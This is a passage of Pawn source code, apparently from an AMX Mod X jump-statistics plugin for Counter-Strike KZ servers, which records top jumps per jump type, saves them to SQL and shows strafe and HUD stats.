checktops_weapon( id,Pmaxspeed,weapon_rank(Pmaxspeed),Type_List_weapon[6],6, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id],weapon_name);
if(kz_wpn_block_top && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
{
checktops_block_weapon(id,Pmaxspeed,weapon_rank(Pmaxspeed),Type_List_weapon[6],6,distance[id],edgedist[id],jumpblock[id],weapon_name);
}
return FMRES_IGNORED
}
}
if(kz_sql==1)
{
formatex(sql_JumpType[id],25,"doublecj_top");
tmp_type_num=10;
}
}
else if(!CjafterJump[id] && jump_type[id]==Type_Multi_CountJump && kz_top==1 && uq_mcj==1)
{
if(kz_sql==0)
{
if(Pmaxspeed==250.0)
{
checktops2( id,Type_List[21],21, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id],ducks[id]);
if(kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
{
checktops_block( id,Type_List[21],21, distance[id], edgedist[id], jumpblock[id]);
}
}
else if(Pmaxspeed!=250.0 && kz_weapon)
{
checktops_weapon( id,Pmaxspeed,weapon_rank(Pmaxspeed),Type_List_weapon[7],7, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id],weapon_name);
if(kz_wpn_block_top && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
{
checktops_block_weapon(id,Pmaxspeed,weapon_rank(Pmaxspeed),Type_List_weapon[7],7,distance[id],edgedist[id],jumpblock[id],weapon_name);
}
return FMRES_IGNORED
}
}
if(kz_sql==1)
{
formatex(sql_JumpType[id],25,"multicj_top");
tmp_type_num=21;
}
}
else if(!CjafterJump[id] && jump_type[id]==Type_CountJump && kz_top==1 && uq_cj==1)
{
if(kz_sql==0)
{
if(Pmaxspeed==250.0)
{
checktops1( id,Type_List[2],2, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id]);
if(kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
{
checktops_block( id,Type_List[2],2, distance[id], edgedist[id], jumpblock[id]);
}
}
else if(Pmaxspeed!=250.0 && kz_weapon)
{
checktops_weapon( id,Pmaxspeed,weapon_rank(Pmaxspeed),Type_List_weapon[1],1, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id],weapon_name);
if(kz_wpn_block_top && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
{
checktops_block_weapon(id,Pmaxspeed,weapon_rank(Pmaxspeed),Type_List_weapon[1],1,distance[id],edgedist[id],jumpblock[id],weapon_name);
}
return FMRES_IGNORED
}
}
if(kz_sql==1)
{
formatex(sql_JumpType[id],25,"cj_top");
tmp_type_num=2;
}
}
else if((jump_type[id]==Type_LongJump || jump_type[id]==Type_HighJump) && kz_top==1 && uq_lj==1)
{
if(kz_sql==0)
{
if(Pmaxspeed==250.0)
{
checktops1( id,Type_List[0],0, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id]);
if(kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
{
if(jump_type[id]==Type_HighJump)
{
checktops_block( id,"hj",6, distance[id], edgedist[id], jumpblock[id]);
}
else checktops_block( id,Type_List[0],0, distance[id], edgedist[id], jumpblock[id]);
}
}
else if(Pmaxspeed!=250.0 && kz_weapon)
{
checktops_weapon( id,Pmaxspeed,weapon_rank(Pmaxspeed),Type_List_weapon[0],0, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id],weapon_name);
if(kz_wpn_block_top && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
{
if(jump_type[id]==Type_HighJump)
{
checktops_block_weapon(id,Pmaxspeed,weapon_rank(Pmaxspeed),"hj",9,distance[id],edgedist[id],jumpblock[id],weapon_name);
}
else checktops_block_weapon(id,Pmaxspeed,weapon_rank(Pmaxspeed),Type_List_weapon[0],0,distance[id],edgedist[id],jumpblock[id],weapon_name);
}
return FMRES_IGNORED
}
}
if(kz_sql==1)
{
formatex(sql_JumpType[id],25,"lj_top");
tmp_type_num=0;
}
}
else if(jump_type[id]==Type_ladder && kz_top==1 && uq_ladder==1)
{
if(kz_sql==0)
{
if(Pmaxspeed==250.0)
{
checktops1( id,Type_List[6],6, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id]);
}
}
if(kz_sql==1)
{
formatex(sql_JumpType[id],25,"ladder_top");
tmp_type_num=6;
}
}
else if(jump_type[id]==Type_BhopLongJump && kz_top==1 && uq_bj==1)
{
if(kz_sql==0)
{
if(Pmaxspeed==250.0)
{
checktops1( id,Type_List[4],4, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id]);
if(kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
{
checktops_block( id,Type_List[4],4, distance[id], edgedist[id], jumpblock[id]);
}
}
else if(Pmaxspeed!=250.0 && kz_weapon)
{
checktops_weapon( id,Pmaxspeed,weapon_rank(Pmaxspeed),Type_List_weapon[3],3, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id],weapon_name);
if(kz_wpn_block_top && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
{
checktops_block_weapon(id,Pmaxspeed,weapon_rank(Pmaxspeed),Type_List_weapon[3],3,distance[id],edgedist[id],jumpblock[id],weapon_name);
}
return FMRES_IGNORED
}
}
if(kz_sql==1)
{
formatex(sql_JumpType[id],25,"bj_top");
tmp_type_num=4;
}
}
else if(jump_type[id]==Type_ladderBhop && kz_top==1 && uq_ldbj==1)
{
if(kz_sql==0)
{
if(Pmaxspeed==250.0)
{
checktops1( id,Type_List[7],7, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id]);
if(kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
{
checktops_block( id,Type_List[7],7, distance[id], edgedist[id], jumpblock[id]);
}
}
}
if(kz_sql==1)
{
formatex(sql_JumpType[id],25,"ladderbhop_top");
tmp_type_num=7;
}
}
else if(jump_type[id]==Type_WeirdLongJump && kz_top==1 && uq_wj==1)
{
if(kz_sql==0)
{
if(Pmaxspeed==250.0)
{
checktops1( id,Type_List[3],3, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id]);
if(kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
{
checktops_block( id,Type_List[3],3, distance[id], edgedist[id], jumpblock[id]);
}
}
else if(Pmaxspeed!=250.0 && kz_weapon)
{
checktops_weapon( id,Pmaxspeed,weapon_rank(Pmaxspeed),Type_List_weapon[2],2, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id],weapon_name);
if(kz_wpn_block_top && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
{
checktops_block_weapon(id,Pmaxspeed,weapon_rank(Pmaxspeed),Type_List_weapon[2],2,distance[id],edgedist[id],jumpblock[id],weapon_name);
}
return FMRES_IGNORED
}
}
if(kz_sql==1)
{
formatex(sql_JumpType[id],25,"wj_top");
tmp_type_num=3;
}
}
else if(jump_type[id]==Type_Drop_BhopLongJump && kz_top==1 && uq_drbj==1)
{
if(kz_sql==0)
{
if(Pmaxspeed==250.0)
{
checktops1( id,Type_List[9],9, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id]);
if(kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
{
checktops_block( id,Type_List[9],9, distance[id], edgedist[id], jumpblock[id]);
}
}
else if(Pmaxspeed!=250.0 && kz_weapon)
{
checktops_weapon( id,Pmaxspeed,weapon_rank(Pmaxspeed),Type_List_weapon[5],5, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id],weapon_name);
if(kz_wpn_block_top && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
{
checktops_block_weapon(id,Pmaxspeed,weapon_rank(Pmaxspeed),Type_List_weapon[5],5,distance[id],edgedist[id],jumpblock[id],weapon_name);
}
return FMRES_IGNORED
}
}
if(kz_sql==1)
{
formatex(sql_JumpType[id],25,"dropbj_top");
tmp_type_num=9;
}
}
else if(jump_type[id]==Type_StandupBhopLongJump && kz_top==1 && uq_sbj==1)
{
if(kz_sql==0)
{
if(Pmaxspeed==250.0)
{
checktops1( id,Type_List[5],5, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id]);
if(kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
{
checktops_block( id,Type_List[5],5, distance[id], edgedist[id], jumpblock[id]);
}
}
else if(Pmaxspeed!=250.0 && kz_weapon)
{
checktops_weapon( id,Pmaxspeed,weapon_rank(Pmaxspeed),Type_List_weapon[4],4, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id],weapon_name);
if(kz_wpn_block_top && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
{
checktops_block_weapon(id,Pmaxspeed,weapon_rank(Pmaxspeed),Type_List_weapon[4],4,distance[id],edgedist[id],jumpblock[id],weapon_name);
}
return FMRES_IGNORED
}
}
if(kz_sql==1)
{
formatex(sql_JumpType[id],25,"sbj_top");
tmp_type_num=5;
}
}
else if(!ddstandcj[id] && jump_type[id]==Type_StandUp_CountJump && dropaem[id]==false && multiscj[id]==0 && kz_extras==1 && kz_top==1 && uq_drsbj==1)
{
if(kz_sql==0)
{
if(Pmaxspeed==250.0)
{
checktops1( id,Type_List[1],1, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id]);
if(kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
{
checktops_block( id,Type_List[1],1, distance[id], edgedist[id], jumpblock[id]);
}
}
}
if(kz_sql==1)
{
formatex(sql_JumpType[id],25,"scj_top");
tmp_type_num=1;
}
}
else if(!ddstandcj[id] && jump_type[id]==Type_StandUp_CountJump && dropaem[id]==false && multiscj[id]==1 && kz_extras==1 && kz_top==1 && uq_dscj==1)
{
if(kz_sql==0)
{
if(Pmaxspeed==250.0)
{
checktops1( id,Type_List[11],11, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id]);
if(kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
{
checktops_block( id,Type_List[11],11, distance[id], edgedist[id], jumpblock[id]);
}
}
}
if(kz_sql==1)
{
formatex(sql_JumpType[id],25,"doublescj_top");
tmp_type_num=11;
}
}
else if(!ddstandcj[id] && jump_type[id]==Type_StandUp_CountJump && dropaem[id]==false && multiscj[id]==2 && kz_extras==1 && kz_top==1 && uq_mscj==1)
{
if(kz_sql==0)
{
if(Pmaxspeed==250.0)
{
checktops2( id,Type_List[22],22, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id],ducks[id]);
if(kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
{
checktops_block( id,Type_List[22],22, distance[id], edgedist[id], jumpblock[id]);
}
}
}
if(kz_sql==1)
{
formatex(sql_JumpType[id],25,"multiscj_top");
tmp_type_num=22;
}
}
else if(!ddstandcj[id] && jump_type[id]==Type_StandUp_CountJump && dropaem[id] && multiscj[id]==0 && kz_extras==1 && kz_top==1 && uq_dropscj==1)
{
if(kz_sql==0)
{
if(Pmaxspeed==250.0)
{
checktops1( id,Type_List[12],12, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id]);
if(kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
{
checktops_block( id,Type_List[12],12, distance[id], edgedist[id], jumpblock[id]);
}
}
}
if(kz_sql==1)
{
formatex(sql_JumpType[id],25,"dropscj_top");
tmp_type_num=12;
}
}
else if(!ddstandcj[id] && jump_type[id]==Type_StandUp_CountJump && dropaem[id] && multiscj[id]==1 && kz_extras==1 && kz_top==1 && uq_dropdscj==1)
{
if(kz_sql==0)
{
if(Pmaxspeed==250.0)
{
checktops1( id,Type_List[13],13, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id]);
if(kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
{
checktops_block( id,Type_List[13],13, distance[id], edgedist[id], jumpblock[id]);
}
}
}
if(kz_sql==1)
{
formatex(sql_JumpType[id],25,"dropdoublescj_top");
tmp_type_num=13;
}
}
else if(!ddstandcj[id] && jump_type[id]==Type_StandUp_CountJump && dropaem[id] && multiscj[id]==2 && kz_extras==1 && kz_top==1 && uq_dropmscj==1)
{
if(kz_sql==0)
{
if(Pmaxspeed==250.0)
{
checktops2( id,Type_List[23],23, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id],ducks[id]);
if(kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
{
checktops_block( id,Type_List[23],23, distance[id], edgedist[id], jumpblock[id]);
}
}
}
if(kz_sql==1)
{
formatex(sql_JumpType[id],25,"dropmultiscj_top");
tmp_type_num=23;
}
}
else if(jump_type[id]==Type_DuckBhop && kz_extras==1 && kz_top==1 && uq_duckbhop==1)
{
if(kz_sql==0)
{
if(Pmaxspeed==250.0)
{
checktops1( id,Type_List[14],14, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id]);
if(kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
{
checktops_block( id,Type_List[14],14, distance[id], edgedist[id], jumpblock[id]);
}
}
}
if(kz_sql==1)
{
formatex(sql_JumpType[id],25,"duckbhop_top");
tmp_type_num=14;
}
}
else if(jump_type[id]==Type_Bhop_In_Duck && kz_extras==1 && kz_top==1 && uq_bhopinduck==1)
{
if(kz_sql==0)
{
if(Pmaxspeed==250.0)
{
checktops1( id,Type_List[15],15, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id]);
if(kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
{
checktops_block( id,Type_List[15],15, distance[id], edgedist[id], jumpblock[id]);
}
}
}
if(kz_sql==1)
{
formatex(sql_JumpType[id],25,"bhopinduck_top");
tmp_type_num=15;
}
}
else if(jump_type[id]==Type_Real_ladder_Bhop && kz_extras==1 && kz_top==1 && uq_realldbhop==1)
{
if(kz_sql==0)
{
if(Pmaxspeed==250.0)
{
checktops1( id,Type_List[16],16, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id]);
if(kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
{
checktops_block( id,Type_List[16],16, distance[id], edgedist[id], jumpblock[id]);
}
}
}
if(kz_sql==1)
{
formatex(sql_JumpType[id],25,"realladderbhop_top");
tmp_type_num=16;
}
}
else if(jump_type[id]==Type_Up_Bhop && kz_extras==1 && kz_top==1 && uq_upbj==1)
{
if(kz_sql==0)
{
if(Pmaxspeed==250.0)
{
checktops1( id,Type_List[17],17, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id]);
if(kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
{
checktops_block( id,Type_List[17],17, distance[id], edgedist[id], jumpblock[id]);
}
}
}
if(kz_sql==1)
{
formatex(sql_JumpType[id],25,"upbj_top");
tmp_type_num=17;
}
}
else if(jump_type[id]==Type_Up_Bhop_In_Duck && kz_extras==1 && kz_top==1 && uq_upbhopinduck==1)
{
if(kz_sql==0)
{
if(Pmaxspeed==250.0)
{
checktops1( id,Type_List[19],19, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id]);
if(kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
{
checktops_block( id,Type_List[19],19, distance[id], edgedist[id], jumpblock[id]);
}
}
}
if(kz_sql==1)
{
formatex(sql_JumpType[id],25,"upbhopinduck_top");
tmp_type_num=19;
}
}
else if(jump_type[id]==Type_Up_Stand_Bhop && kz_extras==1 && kz_top==1 && uq_upsbj==1)
{
if(kz_sql==0)
{
if(Pmaxspeed==250.0)
{
checktops1( id,Type_List[18],18, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id]);
if(kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
{
checktops_block( id,Type_List[18],18, distance[id], edgedist[id], jumpblock[id]);
}
}
}
if(kz_sql==1)
{
formatex(sql_JumpType[id],25,"upsbj_top");
tmp_type_num=18;
}
}
else if(jump_type[id]==Type_Multi_Bhop && kz_extras==1 && kz_top==1 && uq_multibhop==1)
{
if(kz_sql==0)
{
if(Pmaxspeed==250.0)
{
checktops2( id,Type_List[24],24, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id],bhop_num[id]);
if(kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
{
checktops_block( id,Type_List[24],24, distance[id], edgedist[id], jumpblock[id]);
}
}
}
if(kz_sql==1)
{
formatex(sql_JumpType[id],25,"multibhop_top");
tmp_type_num=24;
}
}
else if(jump_type[id]==Type_Drop_CountJump && multidropcj[id]==2 && kz_extras==1 && kz_top==1 && uq_dropmcj==1)
{
if(kz_sql==0)
{
if(Pmaxspeed==250.0)
{
checktops2( id,Type_List[25],25, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id],ducks[id]);
if(kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
{
checktops_block( id,Type_List[25],25, distance[id], edgedist[id], jumpblock[id]);
}
}
}
if(kz_sql==1)
{
formatex(sql_JumpType[id],25,"multidropcj_top");
tmp_type_num=25;
}
}
else if(jump_type[id]==Type_Drop_CountJump && multidropcj[id]==1 && kz_extras==1 && kz_top==1 && uq_dropdcj==1)
{
if(kz_sql==0)
{
if(Pmaxspeed==250.0)
{
checktops1( id,Type_List[20],20, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id]);
if(kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
{
checktops_block( id,Type_List[20],20, distance[id], edgedist[id], jumpblock[id]);
}
}
}
if(kz_sql==1)
{
formatex(sql_JumpType[id],25,"doubledropcj_top");
tmp_type_num=20;
}
}
else if(jump_type[id]==Type_Drop_CountJump && multidropcj[id]==0 && kz_top==1 && uq_drcj==1)
{
if(kz_sql==0)
{
if(Pmaxspeed==250.0)
{
checktops1( id,Type_List[8],8, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id]);
if(kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
{
checktops_block( id,Type_List[8],8, distance[id], edgedist[id], jumpblock[id]);
}
}
else if(Pmaxspeed!=250.0 && kz_weapon)
{
checktops_weapon( id,Pmaxspeed,weapon_rank(Pmaxspeed),Type_List_weapon[8],8, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id],weapon_name);
if(kz_wpn_block_top && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
{
checktops_block_weapon(id,Pmaxspeed,weapon_rank(Pmaxspeed),Type_List_weapon[8],8,distance[id],edgedist[id],jumpblock[id],weapon_name);
}
return FMRES_IGNORED
}
}
if(kz_sql==1)
{
formatex(sql_JumpType[id],25,"dropcj_top");
tmp_type_num=8;
}
}
if(tmp_type_num!=-1 && !ddstandcj[id] && !CjafterJump[id] && kz_sql==1 && jump_type[id]!=Type_None && jump_type[id]!=Type_Null && jump_type[id]!=Type_Nothing && jump_type[id]!=Type_Nothing2)
{
if(jumpblock[id]>100 && kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
{
new cData[6];
cData[0] = floatround(distance[id]*1000000);
cData[1] = floatround(edgedist[id]*1000000);
cData[2] = jumpblock[id];
if(jump_type[id]==Type_HighJump)
{
cData[3]=6;
}
else cData[3] = tmp_type_num;
cData[4] = Pmaxspeed;
cData[5] = wpn;
PlayerSaveData_to_SQL_block(id, cData);
}
new cData[9];
cData[0] = floatround(distance[id]*1000000);
cData[1] = floatround(maxspeed[id]*1000000);
cData[2] = floatround(prestrafe[id]*1000000);
cData[3] = strafe_num[id];
cData[4] = sync_[id];
if(jump_type[id]==Type_Multi_Bhop)
{
cData[5]=bhop_num[id];
}
else cData[5] = ducks[id];
cData[6] = tmp_type_num;
cData[7] = Pmaxspeed;
cData[8] = wpn;
PlayerSaveData_to_SQL(id, cData);
}
}
if(kz_stats_pre[id]==true)//ducks stat for mcj
{
strM[0] = '^0';
strMBuf[0] = '^0';
strL = INFO_ZERO;
for(jj = 2;jj <= ducks[id]; jj++)
{
strL += format(strM[strL],(40*NSTRAFES)-strL-1, "%L",LANG_SERVER,"UQSTATS_HUD_PRINT8", jj-1,statsduckspeed[id][jj]);
}
copy(strMBuf,strL,strM);//dlya stat ducks
}
if(uq_istrafe)
{
new st1[NSTRAFES],st2[NSTRAFES];
for(new i = 1;i <= strafe_num[id]; i++)
{
if(i<NSTRAFES)
{
st1[i]=strafe_stat_sync[id][i][0];
st2[i]=strafe_stat_sync[id][i][1];
}
}
for( new i = INFO_ONE; i < max_players; i++ )
{
if( (i == id || is_spec_user[i]))
{
if(ingame_strafe[i])
{
new Float:or[3];
pev(id,pev_origin,or);
remove_beam_ent(i);
epta(i,or,direct_for_strafe[id],line_lost[id],FullJumpFrames[id],is_user_ducking(id),strafe_num[id],st1,st2,strafe_lost_frame[id]);
}
}
}
}
/*
for( new i = INFO_ONE; i < max_players; i++ )
{
if( (i == id || is_spec_user[i]) && g_lj_stats[i]==true)
{
copy(strMessBuf,strLen,strMess);
//stats
if(jump_type[id]==Type_Multi_Bhop &&!failed_jump[id])
{
set_hudmessage(stats_r, stats_g, stats_b, stats_x, stats_y, 0, 6.0, 2.5, 0.1, 0.3, h_stats );
show_hudmessage( i, "%L",LANG_SERVER,"UQSTATS_HUD_PRINT1", type, distance[id], maxspeed[id], gain[id], prestrafe[id],strafe_num[id], sync_[id],bhop_num[id]);
}
else if((jump_type[id]==Type_Double_CountJump || (multiscj[id]==1 && jump_type[id]==Type_StandUp_CountJump) || (multidropcj[id]==1 && jump_type[id] == Type_Drop_CountJump)) &&!failed_jump[id])
{
set_hudmessage(stats_r, stats_g, stats_b, stats_x, stats_y, 0, 6.0, 2.5, 0.1, 0.3, h_stats );
show_hudmessage( i, "%L",LANG_SERVER,"UQSTATS_HUD_PRINT2", type, distance[id], maxspeed[id], gain[id], prest1[id],prest[id], prestrafe[id],strafe_num[id], sync_[id],dd_sync[id]);
}
else if((jump_type[id]==Type_ladderBhop || jump_type[id]==Type_ladder || jump_type[id]==Type_Drop_BhopLongJump || jump_type[id]==Type_WeirdLongJump || jump_type[id]==Type_LongJump || jump_type[id]==Type_HighJump) &&!failed_jump[id])
{
set_hudmessage(stats_r, stats_g, stats_b, stats_x, stats_y, 0, 6.0, 2.5, 0.1, 0.3, h_stats );
show_hudmessage( i, "%L",LANG_SERVER,"UQSTATS_HUD_PRINT0", type, distance[id], maxspeed[id], gain[id], prestrafe[id],strafe_num[id], sync_[id]);
}
else if((jump_type[id]==Type_CountJump || (multiscj[id]==0 && jump_type[id]==Type_StandUp_CountJump) || (multidropcj[id]==0 && jump_type[id] == Type_Drop_CountJump)) && !failed_jump[id])
{
set_hudmessage(stats_r, stats_g, stats_b, stats_x, stats_y, 0, 6.0, 2.5, 0.1, 0.3, h_stats);
show_hudmessage( i, "%L",LANG_SERVER,"UQSTATS_HUD_PRINT4", type, distance[id], maxspeed[id], gain[id], prest1[id],prestrafe[id],strafe_num[id], sync_[id],dd_sync[id]);
}
else if((jump_type[id]==Type_Bhop_In_Duck || jump_type[id]==Type_Up_Bhop_In_Duck || jump_type[id]==Type_Up_Stand_Bhop || jump_type[id]==Type_Up_Bhop || jump_type[id]==Type_Real_ladder_Bhop || jump_type[id]==Type_DuckBhop || jump_type[id] == Type_BhopLongJump || jump_type[id] == Type_StandupBhopLongJump ) && !failed_jump[id])
{
set_hudmessage(stats_r, stats_g, stats_b, stats_x, stats_y, 0, 6.0, 2.5, 0.1, 0.3, h_stats);
show_hudmessage( i, "%L",LANG_SERVER,"UQSTATS_HUD_PRINT0", type, distance[id], maxspeed[id], gain[id],prestrafe[id],strafe_num[id], sync_[id]);
}
else if((jump_type[id]==Type_Multi_CountJump || (multiscj[id]==2 && jump_type[id]==Type_StandUp_CountJump) || (multidropcj[id]==2 && jump_type[id] == Type_Drop_CountJump)) && !failed_jump[id])
{
set_hudmessage(stats_r, stats_g, stats_b, stats_x, stats_y, 0, 6.0, 2.5, 0.1, 0.3, h_stats );
show_hudmessage( i, "%L",LANG_SERVER,"UQSTATS_HUD_PRINT6", type, distance[id], maxspeed[id], gain[id], prest1[id],prestrafe[id],ducks[id], strafe_num[id], sync_[id],dd_sync[id]);
}
if(jump_type[id] != Type_Slide && streifstat[id]==true && jump_type[id]!=Type_None && !failed_jump[id])
{
set_hudmessage(stats_r, stats_g, stats_b, strafe_x, strafe_y, 0, 6.0, 2.5, 0.1, 0.3, h_streif);
show_hudmessage(i,"%L",LANG_SERVER,"UQSTATS_HUD_PRINT7",strMessBuf); //stata streifof
}
if(kz_stats_pre[id]==true && (jump_type[id]==Type_Multi_CountJump || (multiscj[id]==2 && jump_type[id]==Type_StandUp_CountJump) || (multidropcj[id]==2 && jump_type[id] == Type_Drop_CountJump)) && !failed_jump[id])
{
set_hudmessage(stats_r, stats_g, stats_b, duck_x,duck_y, 0, 6.0, 2.5, 0.1, 0.3, h_duck);
show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_HUD_PRINT7",strMBuf);//stata duckov
}
//failstats
if(jump_type[id]==Type_Multi_Bhop && (failed_jump[id]))
{
set_hudmessage( f_stats_r, f_stats_g, f_stats_b, stats_x, stats_y, 0, 6.0, 2.5, 0.1, 0.3, h_stats );
show_hudmessage( i, "%L",LANG_SERVER,"UQSTATS_HUD_PRINT1", type, distance[id], maxspeed[id], gain[id], prestrafe[id],strafe_num[id], sync_[id],bhop_num[id]);
}
else if((jump_type[id]==Type_ladderBhop || jump_type[id]==Type_ladder || jump_type[id]==Type_Drop_BhopLongJump || jump_type[id]==Type_WeirdLongJump || jump_type[id]==Type_LongJump || jump_type[id]==Type_HighJump) && (failed_jump[id]))
{
set_hudmessage( f_stats_r, f_stats_g, f_stats_b, stats_x, stats_y, 0, 6.0, 2.5, 0.1, 0.3, h_stats );
show_hudmessage( i, "%L",LANG_SERVER,"UQSTATS_HUD_PRINT0", type, distance[id], maxspeed[id], gain[id], prestrafe[id],strafe_num[id], sync_[id]);
}
else if((jump_type[id]==Type_CountJump || (multiscj[id]==0 && jump_type[id]==Type_StandUp_CountJump) || (multidropcj[id]==0 && jump_type[id] == Type_Drop_CountJump)) && (failed_jump[id]))
{
set_hudmessage(f_stats_r, f_stats_g, f_stats_b, stats_x, stats_y, 0, 6.0, 2.5, 0.1, 0.3, h_stats );
show_hudmessage( i, "%L",LANG_SERVER,"UQSTATS_HUD_PRINT4", type, distance[id], maxspeed[id], gain[id], prest1[id],prestrafe[id],strafe_num[id], sync_[id],dd_sync[id]);
}
else if((jump_type[id]==Type_Bhop_In_Duck || jump_type[id]==Type_Up_Bhop_In_Duck || jump_type[id]==Type_Up_Stand_Bhop || jump_type[id]==Type_Up_Bhop || jump_type[id]==Type_Real_ladder_Bhop || jump_type[id]==Type_DuckBhop || jump_type[id] == Type_BhopLongJump || jump_type[id] == Type_StandupBhopLongJump ) && (failed_jump[id]))
{
set_hudmessage(f_stats_r, f_stats_g, f_stats_b, stats_x, stats_y, 0, 6.0, 2.5, 0.1, 0.3, h_stats );
show_hudmessage( i, "%L",LANG_SERVER,"UQSTATS_HUD_PRINT0", type, distance[id], maxspeed[id], gain[id], prestrafe[id],strafe_num[id], sync_[id]);
}
else if((jump_type[id]==Type_Double_CountJump || (multiscj[id]==1 && jump_type[id]==Type_StandUp_CountJump) || (multidropcj[id]==1 && jump_type[id] == Type_Drop_CountJump)) && (failed_jump[id]))
{
set_hudmessage( f_stats_r, f_stats_g, f_stats_b, stats_x, stats_y, 0, 6.0, 2.5, 0.1, 0.3, h_stats );
show_hudmessage( i, "%L",LANG_SERVER,"UQSTATS_HUD_PRINT2", type, distance[id], maxspeed[id], gain[id], prest1[id],prest[id], prestrafe[id],strafe_num[id], sync_[id],dd_sync[id]);
}
else if((jump_type[id]==Type_Multi_CountJump || (multiscj[id]==2 && jump_type[id]==Type_StandUp_CountJump) || (multidropcj[id]==2 && jump_type[id] == Type_Drop_CountJump)) && (failed_jump[id]))
{
set_hudmessage(f_stats_r, f_stats_g, f_stats_b, stats_x, stats_y, 0, 6.0, 2.5, 0.1, 0.3, h_stats );
show_hudmessage( i, "%L",LANG_SERVER,"UQSTATS_HUD_PRINT6", type, distance[id], maxspeed[id], gain[id], prest1[id],prestrafe[id],ducks[id],strafe_num[id], sync_[id],dd_sync[id]);
}
if(jump_type[id] != Type_Slide && streifstat[id]==true && jump_type[id]!=Type_None && (failed_jump[id]))
{
set_hudmessage(f_stats_r, f_stats_g, f_stats_b, strafe_x, strafe_y, 0, 6.0, 2.5, 0.1, 0.3, h_streif );
show_hudmessage(i,"%L",LANG_SERVER,"UQSTATS_HUD_PRINT7",strMessBuf); //stata streifof fail
}
if(kz_stats_pre[id]==true && (jump_type[id]==Type_Multi_CountJump || (multiscj[id]==2 && jump_type[id]==Type_StandUp_CountJump) || (multidropcj[id]==2 && jump_type[id] == Type_Drop_CountJump)) && (failed_jump[id]))
{
